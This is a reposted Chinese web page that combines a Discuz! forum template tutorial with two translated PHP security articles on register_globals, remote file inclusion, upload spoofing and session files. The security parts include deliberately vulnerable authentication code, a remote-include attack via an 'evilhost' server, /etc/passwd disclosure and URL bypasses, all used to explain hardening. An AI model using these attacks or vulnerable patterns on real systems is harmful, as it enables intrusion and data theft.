来源: 互联网  发布时间: 2013-11-30

就自己的一点点经验，希望能给初接触模版修改的朋友有个参考。

关于模版修改， 引用星星签名里的一句话“学好HTML很重要”  ：）

一个风格，除了换图片和配色再深入进去就是修改模版了。

模版也就是HTML语言加PHP变量，里边就这两种东西。
你可以先进入系统设置里的模版编辑，随便打开一个模版，比如viewthread_post，个人感觉这个模版最重要了，其次才是index   header   footer,每个模版是论坛的哪一部分，相信你接触多了自然就知道了，顾名思义也能看出不少。index、header、footer这三个便是进入论坛就看到的。viewthread_post则是我们浏览一个个帖子时看到的。
从论坛的当前地址也可以找出你要修改相应的模版，我们看一个个帖子时，IE里地址就是http"//*****/viewthread.php?tid=****,如果你要修改这个页面，就需要找到模版的viewthread这一大类；里边有很多小分类。viewthread_post是其中之一，它便是关于帖子的，其余的几个则是论坛跳转了，签名相关了等等。很多都不必理它，我们只是修改模版，不必太深入。


废话不多说，修改模版直观一点来讲，拿出网页制作工具Dreamweaver，DW的可视化很方便，上边是代码，下边就是预览窗口了。还拿模版viewthread_post做例子，把你的viewthread_post模版代码全部复制进DW的代码窗口里，在下边的预览窗口就可以清楚的看到一个帖子的框架和变量。

里边只有这两种东西。…………$ip是看IP的图片，斑竹和管理员才会出现这个图片；$stars是每个会员的星星；$avatar是头像……等等，要修改模版往往就是要把这些变量可以在网页里换个方式、位置显示。这时你可以另外打开一个IE窗口，论坛的一个帖子，看着论坛的帖子和这些个DW预览窗口里的框架里的变量对照着，就知道了那些变量相应的在论坛的帖子里都显示的是什么了。或者你删除模版里几个变量确定修改，然后刷新论坛看看有什么变化，少了哪些就知道了。


象平常在论坛里常见的一些问题都是需要修改模版解决的，比如论坛图例需要增添一个超级斑竹等。都需要修改相应模版即可，论坛图例显示时是地址是在index.PHP，那就在这一大类找，看名字就知道是index_whosonline这个模版，找到相关部分添加即可。不会HTML难道还不会依葫芦画瓢，照着斑竹、管理员的添加就可以了。还有添加签名线等
好象扯远了，下边还说风格相关。 对模版有了一个初步的了解，就先找一个现成的模版修改一下试试。比如一个VBB的风格不错，先把网页另存为（当然是你觉得不错的页面了，还说帖子那部分吧），然后用DW打开，

用我们只要一个帖子的部分就可以了，直接在预览窗口里删除不要的那些东西，删除再删除，最后只保留一个我们想要的一个帖子的框架就可以了，然后就是再删除多余的，比如原帖子的内容、发帖时间等，保留一个干净的页面就可以了，（当然还是事先新建一个DW窗口打开viewthread_post的原模版，看着这个）然后把Discuz!的viewthread_post模版里的变量一个一个往里边带，，看看哪些变量放在哪里合适，当然按原来的VBB安排的位置就是最佳了。替换完毕了。

看有什么添加的，框架宽度百分比什么的或自己发挥的、因为不同论坛需要修改的等等。差不多了就把把代码窗口里的代码复制粘贴到你论坛覆盖你的viewthread_post模版，然后就刷新看看你的成果，（注意图片要搞对路径同时上传到你的空间里） 有什么不对的，继续修改再修改。

其间有些代码你粘贴到DW里可能显示是黄色的错误代码，不要删除，保留着自有其作用，看具体情况了。



这个只是举的viewthread_post模版的例子，目的主要是基于熟悉、修改模版，相信接触多了对这些都熟悉了，以后修改模版、自己做新风格应该就很顺手了。多搞自己的原创。。。关于 index部分，也就是这么回事，不过注意论坛的一个页面是需要好几个模版组合而成的。不要把模版单独的来看、来修改，有时需要考虑到一个分类的全局。还有就是美化论坛也多就是加框架图片，  i美化的效果立竿见影，对速度的影响也需要考虑一下。如果你对速度非常非常的在意，多加一个图片都会有影响的。但是一个风格对一个论坛给人的印象也是非常重要的。这个就不多说了。
完整的一个风格，一些细节，给论坛的滚动条颜色好好搭配一下，加上一套相宜的鼠标指针（都需IE6.0支持）\LOGO等，使论坛达到一个统一和谐的的效果。

模版一切都是基于HTML语言和变量的组合，所以再次强调，学好HTML很重要，如果懂一点HTML语言，相信我写的这些便根本不用多看了。再深入进去，需要懂点PHP，至少是基本的语法。比如“PHP里在引号前面要加上 \”偶现在只懂这个   ：D

听大C说，以后新版本（目前的已经是了）要采用多模版，现行的模版结构可能会有一点点变化了，那时一个论坛也就可以使用多种风格而不必局限于修改了模版就不可以再用别的了。无限憧憬中…… 

    

    来源: 互联网  发布时间: 2013-11-30

来源:Chinaasp
之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http://www.securereality.com.au/stu...arlet.txt找到。

由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。

文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。

好了，废话少说，我们言归正传！

[全局变量]
PHP中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量，毕竟，当它们第一次创建时，他们是空的。

很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。

例如：

<FORM METHOD="GET" ACTION="/blog_article/test.html">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处理用户的输入，当“test.php”运行时，“$hello”会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用“test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&set...敲矗恢故恰?/a>$hello”被创建，“$setup”也被创建了。

译者注：这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

上面的代码首先检查用户的密码是否为“hello”，如果匹配的话，设置“$auth”为“1”，即通过认证。之后如果“$suth”为“1”的话，就会显示一些重要信息。

表面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定“$auth”在没有设置值的时候是空的，却没有想到攻击者可以创建任何全局变量并赋值，通过类似“http://server/test.php?auth=1”的方...且丫现す摹?/a>

因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开“track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量，HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。

[远程文件]
PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子：

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>n");
?>

上面的脚本试图打开文件“$filename”，如果失败就显示错误信息。很明显，如果我们能够指定“$filename”的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。

例如：
如果指定“$filename”为“http://target/scripts/..%c1%1c../wi...md.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。

这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。

例如：
<?php
include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得“$libdir”没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件languages.php，包含如下内容：

<?php
passthru("/bin/ls /etc");
?>

然后把“$libdir”设置为“http://<evilhost>/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。

需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt

[文件上载]
PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过“$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。

因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。

这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。

让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。

但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后PHP程序开始处理根据“$hello”指定的文件，问题在于“$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：

http://vulnhost/vuln.php?hello=/etc..._name=hello.txt

就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理“/etc/passwd”（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。

我在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。

作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：

<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻击者可以控制“$theme”的话，很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为“theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把“$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。

获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。

[库文件]
正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。

最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是“.php”， “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。

最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。

下面是一个很明显的例子：

In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";

...

include("$libdir/loadlanguage.php":
?>

In libdir/loadlanguage.php:
<?php
...

include("$langDir/$userLang");
?>

当“libdir/loadlanguage.php”被“main.php”调用时是相当安全的，但是因为“libdir/loadlanguage”具有“.php”的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定“$langDir”和“$userLang”的值。
[Session文件]
PHP 4或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。

事实上，当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的“session id”，如果远程浏览器总是在发送请求时提交这个“session id”的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含“session id”）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子：

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>

新版本的PHP都会自动把“$session_auth”的值设置为“shaun”，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。

一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话：

<?php
if (!empty($session_auth))
// Grant access to site here
?>

上面的代码假定如果“$session_auth”被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。

Session数据一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是类似“sess_<session id>”的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信息。

Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测session文件的位置，而他知道文件名是“php<session id>”，所以只需猜测目录，而目录一般就是“/tmp”。

另外，攻击者可以任意指定“session id”（例如“hello”），然后用这个“session id”创建一个session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和数字组合。

[数据类型]
PHP具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：“$hello”开始是字符串变量，值为“”，但是在求值时，就变成了整形变量“0”，这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的，empty()返回的结果也不会为真。

PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着“$hello["000"]”和“$hello[0]”也是不同的。

开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为“0”，而在另外的地方使用empty()来验证。

[容易出错的函数]
我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表：

<PHP代码执行>
require()：读取指定文件的内容并且作为PHP代码解释
include()：同上
eval()：把给定的字符串作为PHP代码执行
preg_replace()：当与“/e”开关一起使用时，替换字符串将被解释为PHP代码

<命令执行>
exec()：执行指定的命令，返回执行结果的最后一行
passthru()：执行指定命令，返回所有结果到客户浏览器
``：执行指定命令，返回所有结果到一个数组
system()：同passthru()，但是不处理二进制数据
popen()：执行指定的命令，把输入或输出连接到PHP文件描述符

<文件泄露>
fopen()：打开文件，并对应一个PHP文件描述符
readfile()：读取文件的内容，然后输出到客户浏览器
file()：把整个文件内容读到一个数组中

译者注：其实这份列表还不是很全，比如“mail()”等命令也可能执行命令，所以需要自己补充一下。
[如何增强PHP的安全性]
我在上面介绍的所有攻击对于缺省安装的PHP 4都可以很好的实现，但是我已经重复了很多次，PHP的配置非常灵活，通过配置一些PHP选项，我们完全可能抵抗其中的一些攻击。下面我按照实现的难度对一些配置进行了分类：

*低难度
**中低难度
***中高难度
****高难度

上面的分类只是个人的看法，但是我可以保证，如果你使用了PHP提供的所有选项的话，那么你的PHP将是很安全的，即使是第三方的代码也是如此，因为其中很多功能已经不能使用。

**** 设置“register_globals”为“off”
这个选项会禁止PHP为用户输入创建全局变量，也就是说，如果用户提交表单变量“hello”，PHP不会创建“$ hello”，而只会创建“HTTP_GET/POST_VARS['hello']”。这是PHP中一个极其重要的选项，关闭这个选项，会给编程带来很大的不便。

*** 设置“safe_mode”为“on”
打开这个选项，会增加如下限制：
1． 限制哪个命令可以被执行
2． 限制哪个函数可以被使用
3． 基于脚本所有权和目标文件所有权的文件访问限制
4． 禁止文件上载功能
这对于ISP来说是一个伟大的选项，同时它也能极大地改进PHP的安全性。

** 设置“open_basedir”
这个选项可以禁止指定目录之外的文件操作，有效地消除了本地文件或者是远程文件被include()的攻击，但是仍需要注意文件上载和session文件的攻击。

** 设置“display_errors”为“off”，设置“log_errors”为“on”
这个选项禁止把错误信息显示在网页中，而是记录到日志文件中，这可以有效的抵制攻击者对目标脚本中函数的探测。

* 设置“allow_url_fopen”为“off”
这个选项可以禁止远程文件功能，极力推荐！

 

 

 

    

    来源: 互联网  发布时间: 2013-11-30

原著：Kevin Yank  转自：www.linuxforum.net (恭喜再此开通)

在很长一段时间内，PHP作为服务器端脚本语言的最大卖点之一就是会为从表单提交的值自动建立一个全局变量。在PHP 4.1中，PHP的制作者们推荐了一个访问提交数据的替代手段。在PHP 4.2中，他们取消了那种老的做法！正如我将在这篇文章中解释的那样，作出这样的变化的目的是出于安全性的考虑。我们将研究PHP在处理表单提交及其它数据时的新的做法，并说明为什么这样做会提高代码的安全性。 

这里有什么错误？ 

看看下面的这段PHP脚本，它用来在输入的用户名及口令正确时授权访问一个Web页面： 
<?php 
// 检查用户名及口令 
if ($username == 'kevin' and $password == 'secret') 
$authorized = true; 
?> 
<?php if (!$authorized): ?> 
<!-- 未授权的用户将在这里给予提示 --> 
<p>Please enter your username and password:</p> 
<form action="/blog_article/</$PHP_SELF/gt;.html" method="POST"> 
<p>Username: <input type="text" name="username" /><br /> 
Password: <input type="password" name="password" /><br /> 
<input type="submit" /></p> 
</form> 
<?php else: ?> 
<!-- 有安全要求的HTML内容 --> 
<?php endif; ?> 
OK，我相信大约半数的读者会不屑的说“太愚蠢了-- 我不会犯这样的错误的！”但是我保证有很多的读者会想“嗨，没什么问题啊，我也会这么写的！”当然还会有少数人会对这个问题感到困惑(“什么是PHP？”)。PHP被设计为一个“好的而且容易的”脚本语言，初学者可以在很短的时间内学会使用它；它也应该能够避免初学者犯上面的错误。 
再回到刚才的问题，上面的代码中存在的问题是你可以很容易地获得访问的权力，而不需要提供正确的用户名和口令。只在要你的浏览器的地址栏的最后添加?authorized=1。因为PHP会自动地为每一个提交的值创建一个变量 -- 不论是来自动一个提交的表单、URL查询字符串还是一个cookie -- 这会将$authorized设置为1，这样一个未授权的用户也可以突破安全限制。 
那么，怎么简单地解决这个问题呢？只要在程序的开头将$authorized默认设置为false。这个问题就不存在了！$authorized是一个完全在程序代码中创建的变量；但是为什么开发者得为每一个恶意的用户提交的变量担心呢？ 

PHP 4.2作了什么改变？ 

在PHP 4.2中，新安装的PHP中的register_globals选项默认为关闭，因此EGPCS值(EGPCS是Environment、Get、Post、Cookies、Server的缩写 -- 这是PHP中外部变量来源的全部范围)不会被作为全局变量来创建。当然，这个选项还可以通过手工来开启，但是PHP的开发者推荐你将其关闭。要贯彻他们的意图，你需要使用其它的方法来获取这些值。 
从PHP 4.1开始，EGPCS值就可以从一组指定的数组中获得： 
$_ENV -- 包含系统环境变量 
$_GET -- 包含查询字符串中的变量，以及提交方法为GET的表单中的变量 
$_POST -- 包含提交方式为POST的表单中的变量 
$_COOKIE -- 包含所有cookie变量 
$_SERVER -- 包含服务器变量，例如HTTP_USER_AGENT 
$_REQUEST -- 包含$_GET、$_POST和$_COOKIE的全部内容 
$_SESSION -- 包含所有已注册的session变量 
在PHP 4.1之前，当开发者关闭register_globals选项(这也被考虑为提高PHP性能的一种方法)后，必须使用诸如$HTTP_GET_VARS这样的令人讨厌的名字来获取这些变量。这些新的变量名不仅仅短，而且它们还有其他优点。 
首先，让我们在PHP 4.2中(也就是说关闭register_globals 选项)重写上面提到的代码： 
<?php 
$username = $_REQUEST['username']; 
$password = $_REQUEST['password']; 

// 检查用户名和口令 
if ($username == 'kevin' and $password == 'secret') 
$authorized = true; 
?> 
<?php if (!$authorized): ?> 
<!-- 未授权的用户将在这里给予提示 --> 
<p>Please enter your username and password:</p> 
<form action="/blog_article/</$PHP_SELF/gt;.html" method="POST"> 
<p>Username: <input type="text" name="username" /><br /> 
Password: <input type="password" name="password" /><br /> 
<input type="submit" /></p> 
</form> 
<?php else: ?> 
<!-- 有安全要求的HTML内容 --> 
<?php endif; ?> 
正如你看到的，我所需要做的只是在代码的开始增加下面两行： 
$username = $_REQUEST['username']; 
$password = $_REQUEST['password']; 
因为我们希望用户名和密码是由用户提交的，所以我们从$_REQUEST数组中获取这些值。使用这个数组使得用户可以自由选择传递方式：通过URL查询字符串(例如允许用户创建书签时自动输入他们的证书)、通过一个提交的表单或者是通过一个cookie。如果你想要限制只能通过表单提交证书(更精确地说，是通过HTTP POST请求)，你可以使用$_POST数组： 
$username = $_POST['username']; 
$password = $_POST['password']; 
除了“引入”这两个变量以外，程序代码没有任何改变。简单地关闭register_globals选项促使开发者更进一步了解哪些数据是来自外部的(不可信任的)资源。 
请注意这里还有一个小问题：PHP中默认的error_reporting设置仍然是E_ALL & ~E_NOTICE，因此如果“username”和“password”这两个值没有被提交，试图从$_REQUEST数组或$_POST数组中获得这两个值并不会招致任何错误信息。如晨不你的PHP程序需要严格的错误检查，你还需要增加一些代码以首先检查这些变量。 

但是这是不是意味着更多的输入？ 

是的，在象上面这样的简单程序中，使用PHP 4.2常常会增加输入量。但是，还是看看光明的一面吧 -- 你的程序终究是更安全了！ 
不过认真的说，PHP的设计者并没有完全忽视你的痛苦。在这些新数组中有一个特殊的其它所PHP变量都不具备的特征，它们是完全的全局变量。这对你有什么帮助呢？让我们先对我们的示例进行一下扩充。 
为了使得站点中的多个页面可以使用用户名/口令论证，我们将我们用户认证程序写到一个include文件(protectme.php)中： 
<?php /* protectme.php */ 
function authorize_user($authuser, $authpass) 
{ 
$username = $_POST['username']; 
$password = $_POST['password']; 
// 检查用户名和口令 
if ($username != $authuser or $password != $authpass): 
?> 
<!-- 未授权的用户将在这里给予提示 --> 
<p>Please enter your username and password:</p> 
<form action="/blog_article/</$PHP_SELF/gt;.html" method="POST"> 
<p>Username: <input type="text" name="username" /><br /> 
Password: <input type="password" name="password" /><br /> 
<input type="submit" /></p> 
</form> 
<?php 
exit(); 
endif; 
} 
?> 
现在，我们刚才的页面看上去将是这样的： 
<?php 
require('protectme.php'); 
authorize_user('kevin','secret'); 
?> 
<!-- 有安全要求的HTML内容 --> 
很简单，很清晰明了，对不对？现在是考验你的眼力和经验的时候了 -- 在authorize_user 函数中少了什么？ 
在函数中没有申明$_POST是一个全局变量！在php 4.0中，当register_globals开启时，你需要增加一行代码以在函数中获取$username和$password变量： 
function authorize_user($authuser, $authpass) 
{ 
global $username, $password; 
... 
在PHP中，和其它具有类似语法的语言不同，函数外的变量在函数中不能自动获得，你需要象上面所说明的那样增加一行以指定其来自global范围。 
在PHP 4.0中，当关闭register_globals以提供安全性时，你可以使用$HTTP_POST_VARS数组以获得你的表单提交的值，但是你还是需要从全局范围导入这个数组： 
function authorize_user($authuser, $authpass) 
{ 
global $HTTP_POST_VARS; 
$username = $HTTP_POST_VARS['username']; 
$password = $HTTP_POST_VARS['password']; 
但是在PHP 4.1及以后的版本中，特殊的$_POST变量(以及上面提到的其它变量)可以在所有范围内使用。这就是不需要在函数中申明$_POST变量是一个全局变量的原因： 
function authorize_user($authuser, $authpass) 
{ 
$username = $_POST['username']; 
$password = $_POST['password']; 

这对session有什么影响？ 

特殊的$_SESSION数组的引入实际上有助于简化session代码。你不需要将session变量申明为全局变量，然后再去留意哪些变量被注册了，你现在可以简单地从$_SESSION['varname']中引用你所有的session变量。 
现在让我们来看看另一个用户认证的例子。这一次，我们使用sessions以标志一个在你的网站继续逗留的用户已经经过了用户认证。首先，我们来看看PHP 4.0版本(开启register_globals)： 
<?php 
session_start(); 
if ($username == 'kevin' and $password == 'secret') 
{ 
$authorized = true; 
session_register('authorized'); 
} 
?> 
<?php if (!$authorized): ?> 
<!-- 显示HTML表单以提示用户登录 --> 
<?php else: ?> 
<!-- 有安全要求的HTML内容 --> 
<?php endif; ?> 
和刚开始的程序一样，这个程序也存在安全漏洞，在URL的最后加上?authorized=1可以绕过安全措施直接访问页面内容。开发者可以将$authorized视为一个session变量而忽视了可以很容易地通过用户输入设置同样的变量。 
当我们增加了我们的特殊的数组(PHP 4.1)并关闭register_globals(PHP 4.2)后，我们的程序将是这样的： 
<?php 
session_start(); 
if ($username == 'kevin' and $password == 'secret') 
$_SESSION['authorized'] = true; 
?> 
<?php if (!$_SESSION['authorized']): ?> 
<!-- 显示HTML表单以提示用户登录 --> 
<?php else: ?> 
<!-- 有安全要求的HTML内容 --> 
<?php endif; ?> 
是不是更加简单了？你不再需要再将普通的变量注册为一个session变量，你只需要直接设置session变量(在$_SESSION数组中)，然后用同样的方法使用它。程序变得更短了，而且对于什么变量是session变量也不会引起混乱！ 

总结 

在这篇文章中，我解释了PHP脚本语言作出改变的深层原因。在PHP 4.1中，添加了一组特殊数据以访问外部数据。这些数组可以在任何范围内调用，这使得外部数据的访问更方便。在PHP 4.2中，register_globals被默认关闭以鼓励使用这些数组以避免无经验的开发者编写出不安全的PHP代码。